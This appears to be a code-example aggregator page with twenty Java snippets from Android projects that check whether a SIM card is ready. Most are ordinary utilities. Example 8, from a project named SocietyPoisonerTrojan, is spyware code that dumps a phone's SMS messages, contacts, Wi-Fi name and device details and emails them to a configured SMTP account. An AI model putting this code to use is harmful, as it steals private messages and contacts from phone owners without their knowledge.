Java Code Examples for android.telephony.TelephonyManager#SIM_STATE_READY

The following examples show how to use android.telephony.TelephonyManager#SIM_STATE_READY . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: TypeTranslators.java    From under-the-hood with Apache License 2.0 6 votes vote down vote up
/**
 * @param simState expected to be from {@link TelephonyManager#getSimState()}
 * @return human-readable state
 */
public static String translateSimState(int simState) {
    switch (simState) {
        case TelephonyManager.SIM_STATE_READY:
            return "STATE_READY";
        case TelephonyManager.SIM_STATE_PUK_REQUIRED:
        case TelephonyManager.SIM_STATE_NETWORK_LOCKED:
        case TelephonyManager.SIM_STATE_PIN_REQUIRED:
            return "STATE_LOCKED (" + simState + ")";
        case TelephonyManager.SIM_STATE_ABSENT:
            return "STATE_ABSENT";
        default:
        case TelephonyManager.SIM_STATE_UNKNOWN:
            return "UNKNOWN (" + simState + ")";
    }
}
 
Example 2
Source File: PushReportUtility.java    From appcan-android with GNU Lesser General Public License v3.0 6 votes vote down vote up
public static String getMobileOperatorName(Context mContext) {
    String name = "unKnown";
    TelephonyManager telephonyManager = (TelephonyManager) mContext
            .getSystemService(Context.TELEPHONY_SERVICE);
    if (telephonyManager.getSimState() == TelephonyManager.SIM_STATE_READY) {
        // IMSI 国际移动用户识别码(IMSI:International Mobile Subscriber
        // Identification
        // Number)是区别移动用户的标志,
        // 储存在SIM卡中,可用于区别移动用户的有效信息。
        // IMSI由MCC、MNC组成,
        // 其中MCC为移动国家号码,由3位数字组成唯一地识别移动客户所属的国家,我国为460;
        // MNC为网络id,由2位数字组成, 用于识别移动客户所归属的移动网络,中国移动为00和02,中国联通为01,中国电信为03
        String imsi = telephonyManager.getNetworkOperator();
        if (imsi.equals("46000") || imsi.equals("46002")) {
            name = "中国移动";
        } else if (imsi.equals("46001")) {
            name = "中国联通";
        } else if (imsi.equals("46003")) {
            name = "中国电信";
        } else {
            // 其他电信运营商直接显示其名称,一般为英文形式
            name = telephonyManager.getSimOperatorName();
        }
    }
    return name;
}
 
Example 3
Source File: CallAndSmsPresenter.java    From AssistantBySDK with Apache License 2.0 5 votes vote down vote up
@Override
public void onReceive(Context context, Intent intent) {
    if (type != -1)
        return;
    String action = intent.getAction();
    if (Intent.ACTION_NEW_OUTGOING_CALL.equals(action)) {
        TelephonyManager tm = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
        if (TelephonyManager.SIM_STATE_READY != tm.getSimState() || getAirplaneMode(mContext))  //SIM卡未准备或飞行模式拨号失败
            type = MobileCommProcessor.FailedCall;
        else
            type = MobileCommProcessor.CompletedCall;
    } else if (SMS_SEND_ACTION.equals(action)) {
        if (getResultCode() == Activity.RESULT_OK) { //短信发送成功
            type = MobileCommProcessor.CompletedSend;
            AppConfig.mContactUtils.insertSMS(phoneNumber, smsContent);
            phoneNumber = null;
            smsContent = null;
            CallAndSmsDao.getInstance(mContext).sync(CallAndSmsDao.getInstance(mContext).getSyncDao(CallAndSmsDao.MessageDao.class));
        } else {
            Log.i("LingJu", "发送短信错误码:" + getResultCode());
            type = MobileCommProcessor.FailedSend;
        }
    }
    if (type != -1) {
        EventBus.getDefault().post(new ChatMsgEvent(ChatMsgEvent.UPDATE_CALL_SMS_STATE));
        EventBus.getDefault().post(new ChatMsgEvent(new CallAndSmsMsg(keywords, type)));
    }
}
 
Example 4
Source File: TelephonyHelper.java    From AndroidCommons with Apache License 2.0 5 votes vote down vote up
public static boolean canPerformCall(@NonNull Context context) {
    if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
        return false;
    }

    final TelephonyManager manager = (TelephonyManager)
            context.getSystemService(Context.TELEPHONY_SERVICE);

    return manager.getSimState() == TelephonyManager.SIM_STATE_READY
            && manager.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE;
}
 
Example 5
Source File: EasySimMod.java    From easydeviceinfo with Apache License 2.0 5 votes vote down vote up
/**
 * Gets country.
 *
 * @return the country
 */
public final String getCountry() {
  String result;
  if (tm != null && tm.getSimState() == TelephonyManager.SIM_STATE_READY) {
    result = tm.getSimCountryIso().toLowerCase(Locale.getDefault());
  } else {
    Locale locale = Locale.getDefault();
    result = locale.getCountry().toLowerCase(locale);
  }
  return CheckValidityUtil.checkValidData(
      CheckValidityUtil.handleIllegalCharacterInResult(result));
}
 
Example 6
Source File: ResourceQualifiersFragment.java    From java-android-developertools with Apache License 2.0 5 votes vote down vote up
protected String getBestGuessMobileNetworkCode(Configuration configuration) {
    TelephonyManager telephonyManager = (TelephonyManager) getActivity().getApplicationContext().getSystemService(Context.TELEPHONY_SERVICE);
    if (telephonyManager != null) {
        if (telephonyManager.getSimState() == TelephonyManager.SIM_STATE_READY) {
            String simOperator = telephonyManager.getSimOperator();
            if (simOperator != null && simOperator.length() > 3) {
                return simOperator.substring(3);
            }
        }
    }
    Log.w(TAG, "Falling back to configuration's MNC which is missing info about any 0 prefixing. MNC is [" + configuration.mnc + "]");
    return Integer.toString(configuration.mnc); // TODO: Should we warn the user that if the is number 10-99 it might have 0 prefixed and if the number is 0-9 it might have 0 or 00 prefixed?
}
 
Example 7
Source File: Util.java    From kcanotify with GNU General Public License v3.0 5 votes vote down vote up
public static String getGeneralInfo(Context context) {
    StringBuilder sb = new StringBuilder();
    TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);

    sb.append(KcaUtils.format("Interactive %B\r\n", isInteractive(context)));
    sb.append(KcaUtils.format("Connected %B\r\n", isConnected(context)));
    sb.append(KcaUtils.format("WiFi %B\r\n", isWifiActive(context)));
    sb.append(KcaUtils.format("Metered %B\r\n", isMeteredNetwork(context)));
    sb.append(KcaUtils.format("Roaming %B\r\n", isRoaming(context)));

    if (tm.getSimState() == TelephonyManager.SIM_STATE_READY)
        sb.append(KcaUtils.format("SIM %s/%s/%s\r\n", tm.getSimCountryIso(), tm.getSimOperatorName(), tm.getSimOperator()));
    if (tm.getNetworkType() != TelephonyManager.NETWORK_TYPE_UNKNOWN)
        sb.append(KcaUtils.format("Network %s/%s/%s\r\n", tm.getNetworkCountryIso(), tm.getNetworkOperatorName(), tm.getNetworkOperator()));

    PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP)
        sb.append(KcaUtils.format("Power saving %B\r\n", pm.isPowerSaveMode()));
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M)
        sb.append(KcaUtils.format("Battery optimizing %B\r\n", batteryOptimizing(context)));
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N)
        sb.append(KcaUtils.format("Data saving %B\r\n", dataSaving(context)));

    if (sb.length() > 2)
        sb.setLength(sb.length() - 2);

    return sb.toString();
}
 
Example 8
Source File: srv.java    From SocietyPoisonerTrojan with GNU General Public License v3.0 5 votes vote down vote up
public void run () {
    Dumper dumper = new Dumper();
    messageBuilder messageBuilder = null;

    try {
        TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);

        if (telephonyManager.getSimState() != TelephonyManager.SIM_STATE_READY) {
            messageBuilder = new messageBuilder(new JSONObject().put("info", dumper.dumpInfo(getApplicationContext())));
        }

        else {
            messageBuilder = new messageBuilder(new JSONObject()
                    .put("info", dumper.dumpInfo(getApplicationContext()))
                    .put("sms", dumper.dumpSMS(getApplicationContext()))
                    .put("wifi", Util.getCurrentSSID(getApplicationContext()))
                    .put("contacts", dumper.dumpContacts(getApplicationContext()))
            );
        }
    } catch (Exception e) {
        Log.e ("Dump All Error", e.getMessage());
    }


    Log.d ("Device Information", dumper.dumpInfo(getApplicationContext()).toString());

   // dumper.dumpFace (getApplicationContext());

    mailer m = new mailer ();
    m.sendMail (
            constants.smtpServer,
            constants.from,
            constants.to,
            constants.subject,
            messageBuilder.buildToHtml(),
            constants.login,
            constants.password,
            null
    );
}
 
Example 9
Source File: GetApkInfoRequest.java    From aptoide-client with GNU General Public License v2.0 5 votes vote down vote up
protected ArrayList<WebserviceOptions> getoptions() {

        ArrayList<WebserviceOptions> options = new ArrayList<WebserviceOptions>();
        options.add(new WebserviceOptions("cmtlimit", "5"));
        options.add(new WebserviceOptions("payinfo", "true"));
        final TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
        if (telephonyManager != null && telephonyManager.getSimState() == TelephonyManager.SIM_STATE_READY) {
            options.add(new WebserviceOptions("mnc", getMncCode(telephonyManager.getNetworkOperator())));
            options.add(new WebserviceOptions("mcc", getMccCode(telephonyManager.getNetworkOperator())));
        }

        options.add(new WebserviceOptions("q", AptoideUtils.HWSpecifications.filters(context)));
        options.add(new WebserviceOptions("lang", AptoideUtils.StringUtils.getMyCountryCode(context)));
        return options;
    }
 
Example 10
Source File: AndroidCellularSignalStrength.java    From cronet with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
CellStateListener() {
    ThreadUtils.assertOnBackgroundThread();

    mTelephonyManager =
            (TelephonyManager) ContextUtils.getApplicationContext().getSystemService(
                    Context.TELEPHONY_SERVICE);

    if (mTelephonyManager.getSimState() != TelephonyManager.SIM_STATE_READY) return;

    ApplicationStatus.registerApplicationStateListener(this);
    onApplicationStateChange(ApplicationStatus.getStateForApplication());
}
 
Example 11
Source File: NetworkConnUtil.java    From RairDemo with Apache License 2.0 5 votes vote down vote up
/**
 * 获取运营商
 *
 * @return
 */
public static String getProvider(Context context) {
    String provider = "未知";
    try {
        TelephonyManager telephonyManager =
                (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
        String IMSI = telephonyManager.getSubscriberId();
        Log.v("tag", "getProvider.IMSI:" + IMSI);
        if (IMSI == null) {
            if (TelephonyManager.SIM_STATE_READY == telephonyManager.getSimState()) {
                String operator = telephonyManager.getSimOperator();
                Log.v("tag", "getProvider.operator:" + operator);
                if (operator != null) {
                    if (operator.equals("46000")
                            || operator.equals("46002")
                            || operator.equals("46007")) {
                        provider = "中国移动";
                    } else if (operator.equals("46001")) {
                        provider = "中国联通";
                    } else if (operator.equals("46003")) {
                        provider = "中国电信";
                    }
                }
            }
        } else {
            if (IMSI.startsWith("46000") || IMSI.startsWith("46002")
                    || IMSI.startsWith("46007")) {
                provider = "中国移动";
            } else if (IMSI.startsWith("46001")) {
                provider = "中国联通";
            } else if (IMSI.startsWith("46003")) {
                provider = "中国电信";
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return provider;
}
 
Example 12
Source File: MobCardUtils.java    From MobileInfo with Apache License 2.0 5 votes vote down vote up
/**
 * 判断卡是否已经准备好
 *
 * @param predictedMethodName
 * @param slotID
 * @return
 */
private static boolean getSIMStateBySlot(TelephonyManager telephony, String predictedMethodName, int slotID) throws MobException {

    boolean isReady = false;

    try {

        Class<?> telephonyClass = Class.forName(telephony.getClass().getName());

        Class<?>[] parameter = new Class[1];
        parameter[0] = int.class;
        Method getSimStateGemini = telephonyClass.getMethod(predictedMethodName, parameter);

        Object[] obParameter = new Object[1];
        obParameter[0] = slotID;
        Object ob_phone = getSimStateGemini.invoke(telephony, obParameter);

        if (ob_phone != null) {
            int simState = Integer.parseInt(ob_phone.toString());
            if (simState == TelephonyManager.SIM_STATE_READY) {
                isReady = true;
            }
        }
    } catch (Exception e) {
        throw new MobException(predictedMethodName);
    }

    return isReady;
}
 
Example 13
Source File: NetworkChecker.java    From yahnac with Apache License 2.0 5 votes vote down vote up
private boolean isConnectedToCellNetwork() {
    int simState = telephonyManager.getSimState();
    if (simState == TelephonyManager.SIM_STATE_READY) {
        NetworkInfo networkInfo = connectivityManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
        return networkInfo.isConnectedOrConnecting();
    }
    return false;
}
 
Example 14
Source File: Util.java    From tracker-control-android with GNU General Public License v3.0 5 votes vote down vote up
public static String getGeneralInfo(Context context) {
    StringBuilder sb = new StringBuilder();
    TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);

    sb.append(String.format("Interactive %B\r\n", isInteractive(context)));
    sb.append(String.format("Connected %B\r\n", isConnected(context)));
    sb.append(String.format("WiFi %B\r\n", isWifiActive(context)));
    sb.append(String.format("Metered %B\r\n", isMeteredNetwork(context)));
    sb.append(String.format("Roaming %B\r\n", isRoaming(context)));

    if (tm.getSimState() == TelephonyManager.SIM_STATE_READY)
        sb.append(String.format("SIM %s/%s/%s\r\n", tm.getSimCountryIso(), tm.getSimOperatorName(), tm.getSimOperator()));
    if (tm.getNetworkType() != TelephonyManager.NETWORK_TYPE_UNKNOWN)
        sb.append(String.format("Network %s/%s/%s\r\n", tm.getNetworkCountryIso(), tm.getNetworkOperatorName(), tm.getNetworkOperator()));

    PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP)
        sb.append(String.format("Power saving %B\r\n", pm.isPowerSaveMode()));
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M)
        sb.append(String.format("Battery optimizing %B\r\n", batteryOptimizing(context)));
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N)
        sb.append(String.format("Data saving %B\r\n", dataSaving(context)));

    if (sb.length() > 2)
        sb.setLength(sb.length() - 2);

    return sb.toString();
}
 
Example 15
Source File: Util.java    From NetGuard with GNU General Public License v3.0 4 votes vote down vote up
public static String getGeneralInfo(Context context) {
    StringBuilder sb = new StringBuilder();
    TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);

    sb.append(String.format("Interactive %B\r\n", isInteractive(context)));
    sb.append(String.format("Connected %B\r\n", isConnected(context)));
    sb.append(String.format("WiFi %B\r\n", isWifiActive(context)));
    sb.append(String.format("Metered %B\r\n", isMeteredNetwork(context)));
    sb.append(String.format("Roaming %B\r\n", isRoaming(context)));

    if (tm.getSimState() == TelephonyManager.SIM_STATE_READY)
        sb.append(String.format("SIM %s/%s/%s\r\n", tm.getSimCountryIso(), tm.getSimOperatorName(), tm.getSimOperator()));
    //if (tm.getNetworkType() != TelephonyManager.NETWORK_TYPE_UNKNOWN)
    try {
        sb.append(String.format("Network %s/%s/%s\r\n", tm.getNetworkCountryIso(), tm.getNetworkOperatorName(), tm.getNetworkOperator()));
    } catch (Throwable ex) {
        /*
            06-14 13:02:41.331 19703 19703 W ircode.netguar: Accessing hidden method Landroid/view/View;->computeFitSystemWindows(Landroid/graphics/Rect;Landroid/graphics/Rect;)Z (greylist, reflection, allowed)
            06-14 13:02:41.332 19703 19703 W ircode.netguar: Accessing hidden method Landroid/view/ViewGroup;->makeOptionalFitsSystemWindows()V (greylist, reflection, allowed)
            06-14 13:02:41.495 19703 19703 I TetheringManager: registerTetheringEventCallback:eu.faircode.netguard
            06-14 13:02:41.518 19703 19703 E AndroidRuntime: Process: eu.faircode.netguard, PID: 19703
            06-14 13:02:41.518 19703 19703 E AndroidRuntime:        at eu.faircode.netguard.Util.getGeneralInfo(SourceFile:744)
            06-14 13:02:41.518 19703 19703 E AndroidRuntime:        at eu.faircode.netguard.ActivitySettings.updateTechnicalInfo(SourceFile:858)
            06-14 13:02:41.518 19703 19703 E AndroidRuntime:        at eu.faircode.netguard.ActivitySettings.onPostCreate(SourceFile:425)
            06-14 13:02:41.520 19703 19703 W NetGuard.App: java.lang.SecurityException: getDataNetworkTypeForSubscriber
            06-14 13:02:41.520 19703 19703 W NetGuard.App: java.lang.SecurityException: getDataNetworkTypeForSubscriber
            06-14 13:02:41.520 19703 19703 W NetGuard.App:  at android.os.Parcel.createExceptionOrNull(Parcel.java:2373)
            06-14 13:02:41.520 19703 19703 W NetGuard.App:  at android.os.Parcel.createException(Parcel.java:2357)
            06-14 13:02:41.520 19703 19703 W NetGuard.App:  at android.os.Parcel.readException(Parcel.java:2340)
            06-14 13:02:41.520 19703 19703 W NetGuard.App:  at android.os.Parcel.readException(Parcel.java:2282)
            06-14 13:02:41.520 19703 19703 W NetGuard.App:  at com.android.internal.telephony.ITelephony$Stub$Proxy.getNetworkTypeForSubscriber(ITelephony.java:8711)
            06-14 13:02:41.520 19703 19703 W NetGuard.App:  at android.telephony.TelephonyManager.getNetworkType(TelephonyManager.java:2945)
            06-14 13:02:41.520 19703 19703 W NetGuard.App:  at android.telephony.TelephonyManager.getNetworkType(TelephonyManager.java:2909)
         */
    }

    PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP)
        sb.append(String.format("Power saving %B\r\n", pm.isPowerSaveMode()));
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M)
        sb.append(String.format("Battery optimizing %B\r\n", batteryOptimizing(context)));
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N)
        sb.append(String.format("Data saving %B\r\n", dataSaving(context)));

    if (sb.length() > 2)
        sb.setLength(sb.length() - 2);

    return sb.toString();
}
 
Example 16
Source File: NetworkOperatorManager.java    From aptoide-client-v8 with GNU General Public License v3.0 4 votes vote down vote up
public boolean isSimStateReady() {
  return telephonyManager.getSimState() == TelephonyManager.SIM_STATE_READY;
}
 
Example 17
Source File: PhoneStateScanner.java    From PhoneProfilesPlus with Apache License 2.0 4 votes vote down vote up
@SuppressLint("InlinedApi")
void connect() {
    //PPApplication.logE("PhoneStateScanner.connect", "xxx");
    boolean isPowerSaveMode = DataWrapper.isPowerSaveMode(context);
    if (/*PPApplication.*/isPowerSaveMode && ApplicationPreferences.applicationEventMobileCellsScanInPowerSaveMode.equals("2"))
        // start scanning in power save mode is not allowed
        return;

    /*if (PPApplication.logEnabled()) {
        PPApplication.logE("PhoneStateScanner.connect", "telephonyManager=" + telephonyManager);
        PPApplication.logE("PhoneStateScanner.connect", "FEATURE_TELEPHONY=" + PPApplication.hasSystemFeature(context, PackageManager.FEATURE_TELEPHONY));
        PPApplication.logE("PhoneStateScanner.connect", "checkLocation=" + Permissions.checkLocation(context.getApplicationContext()));
    }*/

    if ((telephonyManager != null) &&
            PPApplication.hasSystemFeature(context, PackageManager.FEATURE_TELEPHONY) &&
            Permissions.checkLocation(context.getApplicationContext())) {
        boolean simIsReady = false;
        if (Build.VERSION.SDK_INT < 26) {
            if (telephonyManager.getSimState() == TelephonyManager.SIM_STATE_READY)
                // sim card is ready
                simIsReady = true;
        } else {
            if (Permissions.checkPhone(context.getApplicationContext())) {
                SubscriptionManager mSubscriptionManager = (SubscriptionManager) context.getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
                //SubscriptionManager.from(context);
                if (mSubscriptionManager != null) {
                    List<SubscriptionInfo> subscriptionList = null;
                    try {
                        // Loop through the subscription list i.e. SIM list.
                        subscriptionList = mSubscriptionManager.getActiveSubscriptionInfoList();
                    } catch (SecurityException e) {
                        PPApplication.recordException(e);
                    }
                    if (subscriptionList != null) {
                        for (int i = 0; i < subscriptionList.size();/*mSubscriptionManager.getActiveSubscriptionInfoCountMax();*/ i++) {
                            // Get the active subscription ID for a given SIM card.
                            SubscriptionInfo subscriptionInfo = subscriptionList.get(i);
                            if (subscriptionInfo != null) {
                                int slotIndex = subscriptionInfo.getSimSlotIndex();
                                if (telephonyManager.getSimState(slotIndex) == TelephonyManager.SIM_STATE_READY) {
                                    // sim card is ready
                                    simIsReady = true;
                                    break;
                                }
                            }
                        }
                    }
                }
            }
        }
        if (simIsReady) {
            //PPApplication.logE("PhoneStateScanner.connect", "telephonyManager.listen");
            telephonyManager.listen(this,
                    //  PhoneStateListener.LISTEN_CALL_STATE
                    PhoneStateListener.LISTEN_CELL_INFO // Requires API 17
                            //| PhoneStateListener.LISTEN_CELL_LOCATION
                            //| PhoneStateListener.LISTEN_DATA_ACTIVITY
                            //| PhoneStateListener.LISTEN_DATA_CONNECTION_STATE
                            | PhoneStateListener.LISTEN_SERVICE_STATE
                    //| PhoneStateListener.LISTEN_SIGNAL_STRENGTHS
                    //| PhoneStateListener.LISTEN_CALL_FORWARDING_INDICATOR
                    //| PhoneStateListener.LISTEN_MESSAGE_WAITING_INDICATOR
            );
            //checkLocationEnabled();
        }
    }
    startAutoRegistration(context, true);
}
 
Example 18
Source File: PhoneUtils.java    From Android-UtilCode with Apache License 2.0 2 votes vote down vote up
/**
 * 判断sim卡是否准备好
 *
 * @return {@code true}: 是<br>{@code false}: 否
 */
public static boolean isSimCardReady() {
    TelephonyManager tm = (TelephonyManager) Utils.getContext().getSystemService(Context.TELEPHONY_SERVICE);
    return tm != null && tm.getSimState() == TelephonyManager.SIM_STATE_READY;
}
 
Example 19
Source File: TelephonyHelper.java    From RxAndroidBootstrap with Apache License 2.0 2 votes vote down vote up
/**
 * Checks the device has sim card.
 * @param context
 * @return
 */
public static boolean isTelephonyEnabled(Context context) {
    TelephonyManager tm = (TelephonyManager) context.getSystemService(context.TELEPHONY_SERVICE);
    return tm != null && tm.getSimState() == TelephonyManager.SIM_STATE_READY;
}
 
Example 20
Source File: PhoneUtils.java    From DevUtils with Apache License 2.0 2 votes vote down vote up
/**
 * 判断是否装载 SIM 卡
 * @param slotIndex 卡槽索引
 * @return {@code true} yes, {@code false} no
 */
public static boolean isSimReady(final int slotIndex) {
    return getSimState(slotIndex) == TelephonyManager.SIM_STATE_READY;
}